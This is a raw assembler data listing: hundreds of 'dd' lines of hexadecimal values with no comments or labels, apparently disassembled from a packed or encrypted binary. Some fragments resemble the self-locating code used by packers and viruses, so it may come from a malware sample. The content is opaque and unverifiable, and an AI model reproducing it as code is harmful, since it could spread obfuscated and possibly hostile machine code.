		dd 565F73FBh, 0D5473A67h, 1834DF6h, 56EA5961h, 0D72FB132h
		dd 5AE08CD8h, 5E283A34h, 1BECCB9h, 56605964h, 96A0B132h
		dd 0AE5E9046h, 20784E67h, 0B73BD67h, 22B6C409h,	48D6D720h
		dd 0DC5E56B2h, 0A6B4312Ch, 56AD2CDAh, 0DF015A32h, 0B024D4Fh
		dd 0D8A4ECCh, 1331EF6Dh, 5A9F78CEh, 0BA25E432h,	1AF75B1h
		dd 91F8E064h, 56D54977h, 0D42DB132h, 5079E494h,	56BAB133h
		dd 3055C4B9h, 0EC25AFB9h, 505BE454h, 5DA3EEB9h,	6DDAC5E9h
		dd 0DDECC4ECh, 9FCBD6Fh, 427D323Eh, 0DD3B5BD9h,	0BE55312Ch
		dd 5699353Dh, 0AD2BB132h, 9351BEDBh, 0D6EAB132h, 0D27A5AC9h
		dd 56BAB18Eh, 59BF4AB2h, 56AE1DB6h, 0B5AC3132h,	5631353Dh
		dd 0D7B3B132h, 5909D6C9h, 567529B6h, 0A65D3132h, 59A63054h
		dd 0C72ABEB2h, 0D657B132h, 0AD2B41D1h, 0D351BE42h, 30EAB132h
		dd 0B5F5AFB9h, 0EE4131CAh, 68DDF346h, 0D693C537h, 6E239C0Ch
		dd 22C38FB2h, 0F0574E01h, 30ECBD67h, 0B1F5AFB9h, 0AD3BD7CAh
		dd 762959B3h, 0D6B03A54h, 0D73141D5h, 226B30C9h, 0A980D121h
		dd 5ABFC7A0h, 13FCEC34h, 2B39D0CEh, 3528B0CEh, 426F0BB9h
		dd 0DD07B734h, 5AFE17B0h, 66E98834h, 0DDBAC36Ah, 5075A088h
		dd 0D431E134h, 5051E494h, 0E9E8D0Bh, 46BC8C4Dh,	5453F4F5h
		dd 0BDD5B132h, 0AEAF7635h, 5675B133h, 3DC0BB9h,	49D6B73Eh
		dd 49DA6A39h, 59226F09h, 0D5A7ECB9h, 22D5494Fh,	0AEB7B231h
		dd 0D571EEBBh, 0B451A5F5h, 96B47101h, 30AEB132h, 2BDCAFB9h
		dd 0BD50313Eh, 0B555BB46h, 261131C2h, 649EA746h, 9153B6F4h
		dd 565DB075h, 9125B132h, 0BF5271B1h, 56ABB1A5h,	59D27654h
		dd 0D6F43B3Ah, 9DF5BED1h, 57E539B2h, 565FF6F5h,	0DDAEB132h
		dd 509732F5h, 0D7CDC8D9h, 2245210Ch, 0C6D4313Dh, 0D713BF47h
		dd 0C62A4E4Ch, 52B6B346h, 94576B9h, 39533BFh, 0FBB73Eh
		dd 3AF23CDh, 96E1B73Eh,	9EFEBB46h, 37803BFh, 46B6B73Eh
		dd 3603A64h, 32123CDh, 7DF6B73Eh, 80C46FCh, 5712CCB1h
		dd 1FC5A147h, 5902D798h, 59F6D7B7h, 0FDAFF784h,	2BD4AAD9h
		dd 45DEB3CAh, 9FDE0954h, 0EE8C1A54h, 0FD13353Dh, 57FC073Dh
		dd 0A55F5A99h, 0D693A96h, 9F08EF6Bh, 3ABB9F0h, 0BEB55DB9h
		dd 56EAB132h, 0CD9F3068h, 0DDBCBD6Eh, 0D4D4B977h, 50A2E45Ch
		dd 52957853h, 0BA20E432h, 362D75B1h, 56EAB1DAh,	0BCF4EB32h
		dd 50B6ED8Eh, 56A5F4F5h, 91AEB132h, 56574D77h
		dd 9698B132h, 91CB3A54h, 5ABF17B0h, 5675B034h, 0AD3BD732h
		dd 562821A2h, 59464AB2h, 5656B9B6h, 0AD2BF132h,	0A851BEDBh
		dd 16EAB132h, 599E4AB2h, 56BA45B6h, 0B1DDF132h,	0AD2FD7C2h
		dd 0D258313Dh, 56ABB1D7h, 7A2C3331h, 0D6AAB734h, 0D27A53C9h
		dd 56BAB1FCh, 59BE4AB2h, 56AE0DB6h, 0ADD6D732h,	0D2A45255h
		dd 56D5B188h, 0D61A52B2h, 0D27AC1C9h, 56BAB187h, 0D6433A54h
		dd 0AD2E49D1h, 0D610C58Ah, 14DFB40Ch, 22F88FB2h, 3ED4310Fh
		dd 0A9358946h, 5AEF17B0h, 48D6D734h, 305656B2h,	0BED64AB3h
		dd 0DDCD9546h, 0A632312Ch, 0D7113054h, 3662C5F2h, 20284E67h
		dd 0B5BBD67h, 3752F4BBh, 57ABCCB1h, 5783343Dh, 0EC5EB132h
		dd 50ECA5F3h, 0F0F73A62h, 6FBCBD67h, 5905810Eh,	56AFA0B0h
		dd 47ED3A32h, 6ADB732h,	37333B9h, 6AD3B73Eh, 0D97AE902h
		dd 56BAB1C8h, 3370BB9h,	0D42DB73Eh, 505BE458h, 0DF9C3826h
		dd 0DD85A175h, 5ABF17B0h, 66693A34h, 5EE5386Ah,	565D64DBh
		dd 0AEEB7632h, 5657B130h, 136CB6D9h, 56D5B0CAh,	3C503A32h
		dd 0D573BD67h, 5AEFDBB0h, 61D4A534h, 0D5BEF6BBh, 5A22B2CAh
		dd 30D33F5h, 56D7B73Eh,	5301B132h, 2B7749B1h, 0AEC7326Dh
		dd 5946C532h, 0FFAFF784h, 5657B1B2h, 0D5EBB747h, 5E3EB4DAh
		dd 56EA4E1Fh, 539D3232h, 0DDE9BAD9h, 5A0817A8h,	65AA3A34h
		dd 56571869h, 42DE3132h, 96567731h, 0F068B237h,	1E73BD67h
		dd 0DFB2F6BBh, 0B6BD75h, 908569C5h, 96D469C5h, 0F029B237h
		dd 1ED3BD67h, 0DFE2F6BBh, 689EBD75h, 10307101h,	23DD1933h
		dd 0D568B213h, 57ECB3F2h, 5DABB132h, 0DCDCC5E9h, 5D6815A8h
		dd 57963134h, 11337231h, 5A1A383Ah, 8E59A5D9h, 56574E17h
		dd 0A16D9A32h, 541532EAh, 0DFE2F6BBh, 378DBD75h, 0DDEF72FBh
		dd 0AA9932DEh, 56AE5952h, 0D70DB132h, 5AF57CD8h, 306F3A34h
		dd 65ECBD67h, 564A32FBh, 5678353Dh, 51D6B132h, 0A9A2C4CDh
		dd 0BE07B947h, 56ABB041h, 9156B441h, 0DF085A26h, 238A4D77h
		dd 5ECF4E3Eh, 0AB586CDh, 59AEB133h, 565726B0h, 0AAEE3A32h
		dd 0D4DAB60Bh, 56EAB1BEh, 0D589F4CDh, 22BAB54Dh, 5A22323Ah
		dd 0BDACC532h, 0A9A8093Ch, 53124ECDh, 0A5D5B132h, 0D5295A99h
		dd 2270A14Dh, 46C5323Dh, 174CC434h, 0DDAAF6B9h,	15BCBD6Dh
		dd 0DDAFF6B9h, 6F3EBD6Dh, 0DDEEF6B9h, 94EBD6Dh,	4AFC43Ah
		dd 7D59E6B9h, 3ADA167h,	5A083A26h, 0BD286B19h, 443EEB37h
		dd 0DDEEF6B9h, 95EBD6Dh, 53513236h, 76FC3B31h, 292DB734h
		dd 5722B222h, 0DF729A73h, 0EED4B06Eh, 0A9154ECDh, 5675B48Bh
		dd 0BF114232h, 0A9A24E64h, 466C7853h, 0BADCE432h, 365775B1h
		dd 56D5B1DAh, 0BC6BEB32h, 5079EE8Ah, 3DC0BB9h, 9F6EB73Eh
		dd 59AE8EB1h, 565720B6h, 0A9AC3A32h, 232ABD47h,	0DE02E13Ah
		dd 2575B132h, 427D3237h, 13D453D9h, 5ADB4ECEh, 0A95FC4CDh
		dd 56DA5905h, 3CA7B132h, 6F16F4B9h, 0A916C335h,	29394D77h
		dd 5E29B136h, 56A2CEB1h, 58BCB346h, 0A9544E8Ah,	56D008CDh
		dd 0FD19B132h, 29F67AD9h, 59CEB422h, 504DCEB1h,	0DDEFA047h
		dd 9DCB575h, 0DDB65A3Eh, 95EB575h, 0DDF95A3Eh, 9FEB575h
		dd 52E59A3Eh, 0D5585AB1h, 23ADA14Dh, 8F7CF033h,	57AAEDBBh
		dd 0A92A4E8Ah, 56EF08CDh, 0FD86B132h, 9FDB36D9h, 35DB9F0h
		dd 0DDCE5DB9h, 136CB977h, 6DA3C33Eh, 55A2A177h,	0AFE95ACAh
		dd 9F14B1D9h, 3BABDF0h,	92DE5DB9h, 5646D1CEh, 0C57B132h
		dd 36255BB3h, 9FE6B73Eh, 0B636A01h, 30CF3ACEh, 0D5BCBD67h
		dd 3229B10Dh, 23518EB1h, 42903237h, 292840D9h, 5EA1B136h
		dd 56E6CEB1h, 5E9EB346h, 0D546F4CDh, 8DB6A5F5h,	53BECEB1h
		dd 29D4BE46h, 47DEB722h, 52923A73h, 0BDE6EEB9h,	52323A2Fh
		dd 0BDB6EEB9h, 521A3A21h, 7DA2EEB9h, 0BDD4B56Dh, 46D43237h
		dd 17D4C431h, 0A636819h, 0A9CDB033h, 0EF454ECDh, 565DB137h
		dd 0C1451AC1h, 0AA123A53h, 7FB72FBh, 56D55961h,	0D7B0B132h
		dd 5A14A8D8h, 28203C34h, 0EE5BBD67h, 56AEB156h,	565763DAh
		dd 6DA03A32h, 55C15AF3h, 97D1B579h, 1D76A640h, 247B8A22h
		dd 0BD5F5A30h, 0DBBC5A26h, 5A999DA8h, 0BD784E34h, 44F3C3Ah
		dd 0A9ECBDE3h, 0E2CEAE1h, 0BA31E4F1h, 565DB1DAh, 0BC2FEB32h
		dd 505BD05Ah, 28113C52h, 0DDD3BD67h, 5163B977h,	0DF79F4B9h
		dd 1331B575h, 5A1A3822h, 0DFBAF4B9h, 9F36A175h,	36ABA1F0h
		dd 571434F4h, 3EADB734h, 0FE62C228h, 4D6704CDh,	0D3D0B734h
		dd 50A7CB4Eh, 0DB0561CDh, 5AFE1BB8h, 862AE034h,	0FC683C68h
		dd 5973BD67h, 0DDB6F185h, 6752E3EAh, 0DF6DB268h, 504930B0h
		dd 51C3D034h, 0E852h, 815A0000h, 0C61D9EAh, 828B5206h
		dd 6061E81h, 0C64E6DB9h, 5AE1F741h, 303905h, 0FFFF2500h
		dd 82897FFFh, 6061E81h,	51C3595Ah, 0E852h, 815A0000h, 0C6209EAh
		dd 0E8C88B06h, 0FFFFFFBBh, 0F1F7D233h, 595AC28Bh, 8BC08BC3h
		dd 1A858DC0h, 0FF060C58h, 0C18B66D0h, 61D2858Dh, 8589060Ch
		dd 6061625h, 6202858Dh,	8589060Ch, 6062E71h, 0B8h, 0FC00B00h
		dd 4784h, 0C185C600h, 56060601h, 0C530DF68h, 0DDB5FFA9h
		dd 8D06061Bh, 97A7C85h,	50D0FF06h, 2A798D8Dh, 6A510606h
		dd 10006804h, 0B5FF0000h, 6062CA1h, 0BD8BD0FFh,	6062CA1h
		dd 813C7F03h, 0F8C7h, 2447C700h, 60000020h, 2B4D9D8Dh
		dd 38B0606h, 840FC00Bh,	5, 4389008Bh, 4CF6B904h, 8D8D0023h
		dd 60C6366h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	0D7C35242h, 0D01C63D0h,	0CB8166FEh, 0BD31BB3Ch
		dd 6061B79h, 28DD8D89h,	6A0606h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 0C5CF7C3h, 1BD01A2h
		dd 0C706061Bh, 6111185h, 734406h, 0FE800h, 6F310000h, 6BF5AD30h
		dd 0B1611256h, 6C4275C5h, 21BD2927h, 58060601h,	2E4985C7h
		dd 606h, 0B58B0000h, 606226Dh, 0DF9B5FFh, 85890606h, 60622B1h
		dd 79195FFh, 0EE810606h, 5DB86314h, 95FF006Ah, 6061AC9h
		dd 2FEBC08Bh, 13B49A47h, 6A47CB01h, 9691946h, 0C9D288DCh
		dd 0B2D69A19h, 0AA9DF4E3h, 0DEEB37FCh, 94B6B8E5h, 4DF8613Bh
		dd 783BD88h, 0AE7CB40Dh, 8D063BA3h, 0C640E8Dh, 79858906h
		dd 89060604h, 628DD8Dh,	959D0106h, 0F8060614h, 111185C7h
		dd 6AAC0606h, 0C8810000h, 424830Ah, 2E4985C7h, 606h, 81660000h
		dd 0FF7F27D8h, 60145B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 8B705FE2h, 199501D3h
		dd 0FF060611h, 6079195h, 0C0BF0F06h, 95FF006Ah,	6061AC9h
		dd 2DEBC08Bh, 81D56711h, 0BBE7B047h, 9EBFC67Bh,	0EC6C017Ah
		dd 448AE17Bh, 4DDE831Eh, 38202A1Eh, 4EF10179h, 1F01DF5Bh
		dd 8DE13461h, 7FF8D30Fh, 0E304EB3Bh, 0E906D602h, 5B9h
		dd 96B3A4Fh, 0AF119CEBh, 53B5F491h, 0F6584F35h,	97F9AAD8h
		dd 85FDD39Ch, 0EA9EBC1Eh, 463D5BBDh, 0A7DFFD5Fh, 0C4459AFCh
		dd 0D0E02E8Fh, 0E4A8BE33h, 61BFEC9Ah, 0D3643F43h, 7C308DC2h
		dd 0ADC42DC4h, 99DCA46Bh, 799F00B8h, 0B0FB8BA9h, 7DB2C352h
		dd 2DC47D40h, 9F2D53B4h, 405EBCE7h, 0BBEA9D47h,	2499CE5Dh
		dd 0C82DC47Dh, 47A50667h, 0F04E5D29h, 98F6B5D2h, 9B25812Fh
		dd 7FAAC5Ah, 0A4C2247Fh, 4462C4DFh
		dd 0E806643Fh, 643F44A0h, 0E846A706h, 8FEDBACAh, 36941371h
		dd 0F7C9DD0Bh, 0F70A9CCAh, 99B7198Ch, 0AD60BEEDh, 2DC47D13h
		dd 0BE4F57F5h, 0A8ED7632h, 6B35h, 0EC9A7100h, 11AE61BFh
		dd 0F32DC47Ch, 0A83F5155h, 0D255CA1Ah, 0AEFD8AC0h, 1727364Dh
		dd 0FD6324A8h, 0C99B55D7h, 1CCA8EDh, 8000000h, 60BEED9Ah
		dd 0D5664542h, 7C2E8FC4h, 9EBE2DC4h, 362C0E7h, 92B07CA2h
		dd 8D24B5F2h, 0BADEAD69h, 0F1BDE35Fh, 5FA204B2h, 8C1B7D28h
		dd 3A5635F5h, 9D69D6E6h, 8EF1080Fh, 810F3526h, 0F044A605h
		dd 88FCE89Ah, 1829BA1Bh, 0C47BDAE3h, 93B91A2Dh,	9FDEA9C7h
		dd 0C47C536Ah, 0D738992Dh, 7B2A5B79h, 0EF86FF1Dh, 0C47C03BAh
		dd 2788E92Dh, 0CADC8AC9h, 0C9DD8BF6h, 0F7594A38h, 6DFEADD9h
		dd 7B96275Ch, 36562DC4h, 0CFF5564Dh, 9A0E503h, 0CDD9F5ABh
		dd 0ED7BC040h, 9FA7A8h,	97A80000h, 1B420000h, 0AE6308BCh
		dd 2DC5680Fh, 9A5E84E5h, 5DBBE89Ah, 78A9463Fh, 0AE47F57Eh
		dd 80BF1D7Eh, 0ABBCD4D2h, 0C50C4776h, 264CAD2Dh, 57B9EA98h
		dd 0C95A4939h, 254B5A29h, 5A493B59h, 4C5B29C9h,	0C9FE8FEEh
		dd 2DC50BF4h, 0A57197F8h, 9DE60087h, 0E849A806h, 8D166C8Ah
		dd 0B8EE0C2Fh, 72345008h, 0EE0B659Bh, 4A02A8h, 9A3E0000h
		dd 8A2ABBE8h, 0BC88AEFDh, 0AAF98D2Dh, 39C7ED4Ch, 0DAFD5B4Ah
		dd 6B17EABCh, 6196A738h, 2DC47C5Ch, 1D182F90h, 14674E65h
		dd 998688Eh, 678D1C69h,	0BEED9AA3h, 7C13AD60h, 57F52DC4h
		dd 7532BE4Fh, 135A8EDh,	71000000h, 0F806EB9Ah, 2D4E6FB1h
		dd 27B61475h, 0DDCE116h, 0AF102DC5h, 208BFB89h,	95DEA4C2h
		dd 0C50E5D60h, 0CD2E8F2Dh, 7837516Fh, 0CDD9F71Ah, 0FA585334h
		dd 0DF0D3A9Bh, 5C4B3AC7h, 4343A0FAh, 0CE77DB2h,	0FC5D2BC3h
		dd 9D06809Eh, 770CAC3Bh, 0E78062Ch, 3B843795h, 0F133CB0Fh
		dd 582ED3D3h, 0BBCBE94Bh, 6C0392F0h, 508B2B98h,	198AF82Bh
		dd 820492B8h, 6FF9C4F9h, 9AFB33CBh, 0C472DB39h,	3C671FE2h
		dd 0DBAB4BDAh, 1BF4B9D0h, 1752EC79h, 0D0816FF1h, 81E6AEF3h
		dd 22000001h, 0ACFB8929h, 295EEF4Eh, 2DC47B94h,	7D1F758h
		dd 819AAEAh, 26841F68h,	4E7EA1C7h, 0C42BC262h, 0DF760563h
		dd 88000C6Fh, 0A5335981h, 4260C2E1h, 0EB096744h, 94B2109Bh
		dd 3C5AB8F3h, 0C302604Bh, 0C42F9115h, 0D0ED2233h, 2433CA9Dh
		dd 25819DC3h, 9F01AADCh, 0F397638Dh, 7404AEh, 5E400000h
		dd 63404407h, 0B445A605h, 605D92A3h, 942DC47Ch,	3EA0D33h
		dd 152DC47Ch, 0CCA05B7Eh, 2248E821h, 0CE65F657h, 0C63A5185h
		dd 0DD9FFC4h, 0C545635Ah, 0E6BDC62Dh, 5B97388h,	59A1CCAAh
		dd 0FB304F39h, 2DC485C2h, 1270D132h, 0D3EDB9E7h, 0DEB2F422h
		dd 260473Eh, 58B37DA3h,	5B92C758h, 912DC486h, 0B92ECE30h
		dd 1F000000h, 85E4D90Eh, 0A7082DC4h, 9229BD81h,	78D91B66h
		dd 0FD8BABBDh, 0CBF150AEh, 13A4EC01h, 9FC58C7Ch, 9AC04B51h
		dd 0DCAE669Bh, 43A42BC2h, 0E4BFC7E5h, 3253F382h, 77D8D3B4h
		dd 29C3C351h, 8DEC4A59h, 0A83FCE2Ch, 20598E16h,	1A3D6395h
		dd 33CAE578h, 6ECCD7ABh, 0E6C3750h, 5BAFF7A5h, 0A01AB249h
		dd 0DF046541h, 6A1CE5C1h, 7510B041h, 4B71D02Eh,	0C4CC217Bh
		dd 2501FE33h, 8EEF31CEh, 0AF0AA130h, 3ACCC008h,	2561EF15h
		dd 0CFFD2886h, 6D19B9D7h, 99F2273Eh, 5BF3B47Bh,	4F166B35h
		dd 0F3116F36h, 5CBB1994h, 88356AFBh, 6C2DCF47h,	0E419AA0Bh
		dd 2BD2EB1Bh, 4296F859h, 9CD1015Eh, 2DC47C21h, 0D02D7610h
		dd 6C7D0E6Fh, 0A0202FD5h, 883DC7D4h, 2DC54435h,	313056B7h
		dd 0C8E803FCh, 0FF90F12Bh, 1E7C275Fh, 0AFCD99BFh, 4C6ACCD7h
		dd 40E0713Ah, 97CC5D46h, 33D12826h, 733F65C6h, 1F9ED3E4h
		dd 1B33D128h, 12C9D598h, 93F451B7h, 0CD54A6Dh, 6D18332Bh
		dd 0CCBAD836h, 0A4D281DFh, 1A89FF02h, 0DCCA78B9h, 0E0426125h
		dd 89E7C4C2h, 2C8A196Bh, 0D230770Eh, 7BD9D2B4h,	0C8426412h
		dd 0ADFF886Ch, 0E61374FCh, 7313EEB8h, 0CEB8D638h, 48E877D5h
		dd 0AB0A683Bh, 37585h, 5AA10000h, 0C0EF9A06h, 69424462h
		dd 0F96ED0Bh, 0B6F593B1h, 5B483A58h, 0A3DFFDh, 0A30084A2h
		dd 475E2745h, 0F1BCCBE9h, 54571B93h, 4C7815Fh, 83000000h
		dd 3C8704EFh, 89575C24h, 4C781E7h, 83000000h, 3C8704EFh
		dd 4895C24h, 0E7895724h, 4C781h, 0EF810000h, 4,	5C243C87h
		dd 51243C89h, 5B398FB9h, 41D9F70Fh, 4903E1C1h, 0C181D1F7h
		dd 8B3297DBh, 0C8BC889h, 4C48324h, 243C8B54h, 4C481h, 55510000h
		dd 697DC8BDh, 7DD0B977h, 0E9297769h, 89F9015Dh,	34FF5901h
		dd 0C4835F24h, 24048B04h, 81E28952h, 4C2h, 4C28100h, 87000000h
		dd 0E95C2414h, 0FFFA1385h, 0A0377BAAh, 7341B011h, 3D77DF21h
		dd 6961B8D6h, 0C503060Ch, 1D90E0FFh, 7E9776AAh,	26B8262Bh
		dd 3958432Eh, 2D6C34F5h, 0A855645Eh, 2F370FCAh,	344A2167h
		dd 0F42356D4h, 4381773Ah, 99854841h, 14BC4A94h,	7C91201Ch
		dd 8AC63E95h, 2EE568E9h, 18D055BDh, 28813691h, 2834508Ch
		dd 94C16F51h, 845812DAh, 2E6F7220h, 0F7D13EF6h,	0B4B87433h
		dd 23420240h, 0EE511466h, 78B0949h, 748E01DAh, 87A4461Fh
		dd 9C396781h, 8D8D0B43h, 60C6B54h, 68A0Fh, 9D8B0000h, 606125Dh
		dd 28DD8D89h, 6A0606h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 0FD343C3h, 8Dh, 0E99D0B00h, 0C7060630h
		dd 6111185h, 5C5C06h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 0B79EF21Bh, 8B58C49Ah
		dd 623DD95h, 4985C706h,	6062Eh,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0E41CC356h
		dd 8D0FC67Eh, 1, 9DB5FFFCh, 0E9060622h,	14h, 0A6840162h
		dd 406420A6h, 4F3806Eh,	28FB8F8Eh, 6946BAE4h, 79195FFh
		dd 0B8660606h, 6A98D1h,	1AC995FFh, 0C08B0606h, 93E64EEBh
		dd 77A5CF49h, 51E58183h, 0FBAF7AA4h, 0B2687808h, 94FFF415h
		dd 63A8272h, 0DE17EDC2h, 6CDD3F79h, 1B4EB1A8h, 4ADFBE76h
		dd 0DC5808DBh, 0BA8E8909h, 0DEFAE468h, 9D50BA26h, 0F685232Eh
		dd 0B2B1A486h, 1F6A8644h, 0ACA8A110h, 3B78812Ch, 8EBh
		dd 0BF160000h, 0C8E912CCh, 68000004h, 60C6CBDh,	0FA11BCE9h
		dd 6D3B68FFh, 0B2E9060Ch, 68FFFA11h, 60C6EB6h, 0FA11A8E9h
		dd 0E4C3C6FFh, 88236482h, 267D0826h, 0C9DEA6C4h, 6A394967h
		dd 6E600D08h, 0F2D8F14h, 0AAC82A79h, 4A68CAD9h,	0B80D6F3Ch
		dd 0E6BB0237h, 1B3133D0h, 71922957h, 0B462EE42h, 0ABD7658Bh
		dd 0A7C9AF8h, 603BEFEBh, 0A102EA93h, 1319B03Fh,	485B5CF7h
		dd 0C5268503h, 78B8D59Fh, 5136D6E7h, 6F95F452h,	0C2C2DC4Ch
		dd 0E745A62Bh, 0CAC28D34h, 0C2E1A433h, 693E4664h, 116F3E49h
		dd 3E8224D2h, 0D13C6A86h, 0AEF3BB1Fh, 2EE48h, 8FAC8400h
		dd 9B2C7489h, 0C27B1A66h, 43F7582Bh, 0A71EF820h, 5D1FB6D6h
		dd 52780ECBh, 0A71FB6EFh, 0C728C7F9h, 7ABAD7A1h, 200B4E9h
		dd 91F22726h, 7C84D933h, 0CCD6B6EBh, 7BDC2927h,	6F3C4AEAh
		dd 386D7E0Dh, 29282F85h, 1CA1D667h, 0D029282Fh,	5AE80E6Fh
		dd 5B4A7F2Ch, 488A9FCh,	31D08A8h, 0ACDD0000h, 0A7D9BFDh
		dd 6A1B399Bh, 0C9BBD93Bh, 285A78DAh
		dd 511E197Bh, 3EA0037Fh, 0D93B6820h, 7BDDC8BBh,	187A295Dh
		dd 0B00D42C3h, 4433D0E7h, 15E6A2Eh, 0C85F7001h,	0DDFCC373h
		dd 57FE4EA8h, 0FC17C971h, 1652759Bh, 0B82BC8B9h, 0D337018h
		dd 3F50E142h, 3EC4F92Eh, 112833D1h, 58452408h, 0FC228373h
		dd 2D8F146Eh, 0D230730Fh, 47C8731Fh, 0C3E0A6D8h, 19F4318Eh
		dd 2A2FE8Ah, 29Fh, 197B2A5Fh, 0BF218CFBh, 63C5E4A1h, 6683F45h
		dd 0A7099AE8h, 750DC3ACh, 0DAAECC2Eh, 364D6BCDh, 97EF0D6Fh
		dd 0D455AA0Ch, 0D0E91E9Fh, 0F4B8CE33h, 7001015Eh, 0F0EC7FD9h
		dd 688E9A67h, 0B3343469h, 9DFE2BC8h, 6A9FB03Fh,	33D14553h
		dd 3C213899h, 0E38A311Eh, 517093B9h, 4833D120h,	5D937A2Ch
		dd 0AAEFA1Dh, 1A7h, 0FB892946h,	8EF886ACh, 0ED99B715h
		dd 0FCCB7308h, 84E5AC3Ch, 1BFC9322h, 28670C29h,	419E688Eh
		dd 0FF9FB041h, 61C01E85h, 3D58183Bh, 55662BC3h,	0CB3D9D20h
		dd 0C8EE4F33h, 0FA0B9CFDh, 0CB3DF8C5h, 0A9BFC33h, 0CB3DE8D5h
		dd 85AB0C33h, 0E4192AB9h, 33CB3DD9h, 0EA9ABA1Bh, 4D7497BDh
		dd 4C33CB3Eh, 0CBDAAD4Dh, 0F01D89A5h, 0AEF43B00h, 3667h
		dd 15EA300h, 113B7001h,	32BC280h, 309144A2h, 133CA80h
		dd 0A3087186h, 0C4011905h, 9BE70563h, 89BE808h,	139341AAh
		dd 0CDD9F5ADh, 0F40EB040h, 0AFB7AEh, 9AF30000h,	1D8600ECh
		dd 6EFF60BFh, 7B95285Dh, 0F6572DC4h, 9CE604D0h,	0FB8BA907h
		dd 523452B0h, 2F44F759h, 622DC480h, 0E7BCC824h,	3155F586h
		dd 7FB00D42h, 0E3442DC4h, 9FC52482h, 181875CFh,	7C417687h
		dd 702DC480h, 0B5EAE90Fh, 2BCCD8CEh, 10B041A2h,	9A03172h
		dd 2B55E5D8h, 5C2C52FCh, 2A5F443Eh, 7E04EDD7h, 24943490h
		dd 0E4000001h, 86A406A5h, 2240A201h, 0C4E24463h, 6381E3C0h
		dd 2722841Fh, 0A9FA885Eh, 505F2947h, 0F0B3D0EEh, 8D16708Eh
		dd 2055D62Bh, 33D0E99Dh, 9A75394Fh, 3B59BBE8h, 38CF604Bh
		dd 0EE1AAD91h, 21F1177Ch, 0BFEC9ACDh, 0ABF88E2Eh, 0FCC8EE4Dh
		dd 0EFB6CD6Dh, 7E0C3291h, 0DF399B08h, 0BCF18282h, 2BC235B3h
		dd 0FAF40A1h, 6FCE2C77h, 0D8AA4A49h, 0F4293ACBh, 33CAC9C9h
		dd 307B0B2Bh, 26D9A9CFh, 33CAC99Bh, 51B3F096h, 0F6544F33h
		dd 9656h, 0DFA74700h, 29DA9EC4h, 7A3BC592h, 0EB0B1CDAh
		dd 1EE80E9Dh, 278402C1h, 78096AC9h, 0C8AE2143h,	93F3132Bh
		dd 0FA5BBA18h, 0EAB9C969h, 3B072D8Ch, 0A93A691Dh, 725A6398h
		dd 399A33D1h, 61254313h, 4BA90483h, 7F88036h, 127392ACh
		dd 0DCA053B1h, 2A3F1190h, 0AFD72A7Ch, 0C4C363F4h, 62C8BE9h
		dd 356E1836h, 0DCCBB9D7h, 0CAD9AB4Bh, 7FADD8A4h, 49ACDA27h
		dd 89FA4975h, 9C0B7D8Ch, 1D7EDF3Eh, 0BAE99DBBh,	0DBC5Ch
		dd 29E80000h, 7BDAE318h, 0B91A2DC4h, 9A71C593h,	4462C0EFh
		dd 0ED0B6942h, 93B10F96h, 3A58B6F5h, 0DFFD5B48h, 84A200A3h
		dd 2745A300h, 0CBE9475Eh, 1B93F1BCh, 4EC81h, 8F540000h
		dd 4812404h, 424h, 0E6895600h, 4C681h, 0EE830000h, 24348704h
		dd 243C895Ch, 359F68h, 24048900h, 6E97B850h, 0FD2D2E12h
		dd 25334E26h, 557B678Fh, 2414F750h, 0B35F0558h,	0C789564Ch
		dd 48B5458h, 4C48124h, 52000000h, 8152FA89h, 4BBD2434h
		dd 408F081Bh, 8708108h,	81B4BBDh, 2434FF5Ah, 4C48358h
		dd 5F2434FFh, 0E904C483h, 0FFFA0D01h, 0B8D9D3DEh, 60C6FFFh
		dd 0E0FFC503h, 34059970h, 6F8AA62Fh, 589AC6A0h,	2C1FC0D9h
		dd 7DDFE2C6h, 0FD136FDh, 21578A9Ah, 5E31B572h, 5AAE1758h
		dd 2800746h, 5FDE541Fh,	3F962A1Ch, 58F010Ch, 13E73FE2h
		dd 72B0C05Fh, 1D718670h, 647D4DC4h, 73BEFBFEh, 58170774h
		dd 8E8h, 85851000h, 474D31F8h, 0F3CB80CCh, 0FEB70F5Ah
		dd 7511C281h, 0F18B0000h, 0B8h,	8E900h,	0F2E10000h, 3B2EE53Ch
		dd 34FFCFE3h, 5860F10h,	0BF000000h, 105DE933h, 81665259h
		dd 5B6BC4DBh, 95D4C181h, 7E95F1Eh, 0C000000h, 3746288h
		dd 0C1812DFFh, 5072B98Ch, 138C0Fh, 0EE90000h, 65000000h
		dd 503811F8h, 0A13CCE0Bh, 859AEE1Ch, 0C4F181C7h, 8B1F2E99h
		dd 20C89F1h, 42A82BBEh,	4E8831Eh, 0D456BF66h, 8BA0F881h
		dd 850FFFFFh, 0Ch, 1BE9D88Bh, 38000000h, 4EF10179h, 5B57F6BEh
		dd 0FF80E96Fh, 0DF02FFFFh, 99E87CAEh, 0FD4F2F25h, 0CE8F569h
		dd 9F000000h, 0AF55B484h, 88B0626Ch, 0E8B262A6h, 5, 0A73728F4h
		dd 6890FF3h, 0F000000h,	8Ah, 0F5A5E00h,	0C281DBB7h, 6036h
		dd 507CFBBh, 0FCC02B4Eh, 0B7023C8Bh, 0F8F781A4h, 6679D733h
		dd 0EF81CB8Bh, 59DED9F8h, 20562BEh, 2AEF8157h, 6035680Bh
		dd 0D88166FCh, 57615086h, 8FDEBF0Fh, 810F0204h,	6, 822AC681h
		dd 0BF0F28ADh, 4E883DBh, 0C0BF0F60h, 61DAB70Fh,	0A050F881h
		dd 850FFFFFh, 0FFFFFFACh, 2908EBF9h, 7DF7D1h, 0E9000000h
		dd 0BA6h, 0C737568h, 0D1DFE906h, 7E68FFFAh, 0E9060C74h
		dd 0FFFAD1D5h, 0C768A68h, 0D1CBE906h, 0C068FFFAh, 0E9060C77h
		dd 0FFFAD1C1h, 0C799268h, 0D1B7E906h, 0D68FFFAh, 0E9060C7Bh
		dd 0FFFAD1ADh, 0C7C3968h, 0D1A3E906h, 17F8FFFAh, 4DF2087h
		dd 0DDC4056Ch, 0C9A5E64Dh, 0A789CA31h, 4E90B017h, 0E84FDFC1h
